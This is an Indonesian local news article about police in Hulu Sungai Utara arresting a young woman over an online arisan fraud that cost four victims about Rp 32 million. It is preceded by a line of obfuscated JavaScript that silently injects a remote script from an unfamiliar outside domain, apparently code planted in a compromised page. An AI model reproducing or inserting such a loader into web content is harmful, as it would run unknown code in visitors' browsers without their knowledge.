(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – YN perempuan 21 tahun, warga Amuntai, Kabupaten Hulu Sungai Utara (HSU) ini, harus berurusan dengan Unit Jatanras Sat Reskrim Polres HSU, lantaran diduga melakukan penipuan berkedok arisan online.
Polisi berhasil menjemput pelaku YN di rumahnya jalan Penghulu Rasyid Kelurahan Antasari, Kecamantan Amuntai Tengah, setelah menerima laporan para korban yang didominasi oleh ibu-ibu, berdasarkan hasil penyelidikan pada Sabtu (29/2/2020) lalu.
Setidaknya total kerugian para korban akibat aksi tipu-tipu pelaku YN mencapai Rp 32.100.000.
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kabag Reskrim Polres HSU Iptu Kamarudin, kepada Kanalkalimantan.com, Rabu (4/3/2020) menuturkan, kegiatan arisan online pelaku sudah berjalan sekitar satu tahun yakni sejak 2019.
“Namun kemudian kacau, diakhir Desember tidak bisa menutupi lagi dan korbannya sering minta tanggung jawab, akhirnya korban melaporkan pelaku,” ujar Iptu Kamarudin saat dikonfirmasi Kanalkalimantan.com.
Dari informasi, bermula saat pelaku menawarkan arisan online dari via WhatsApp, sekitar pada tanggal 15 Februari 2020 lalu kepada para korban.
Hasilnya kemudian para korban yang berminat ikut arisan online tersebut mentransfer sejumlah uang.
Akan tetapi setelah sekian waktu tersangka menghilang dan tidak bisa dihubungi, sehingga korban tidak terima dan melaporkan kejadian tersebut ke Mapolres HSU guna penyelidikan lebih lanjut.
Setidaknya ada empat orang korban yang mendapat kerugian diantaranya Anita Karmila sebesar Rp. 9.500.000,
Dina Nurhasfarani Rp 16.800.000, Ricca Ananda Rp 4.100.000, Normina Rp 1.700.000, sehingga total kerugian keseluruhan dari semua korban mencapai Rp 32.100.000.
Tersangka sendiri bersama barang bukti seperti rekening koran, enam lembar bukti status pribadi di akun WA pelaku tentang jual beli arisan dalam bentuk screnshot dan slip transaksi jual beli arisan. Saat ini ia pun harus mempertanggung jawabkan perbuatannya dibalik jeruji Mapolres HSU dengan sangkaan tindak pidana penipuan dan atau penggelapan sebagaimana di maksud dengan pasal 378 KUHP dan atau Pasal 372 KUHP. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
This website uses cookies.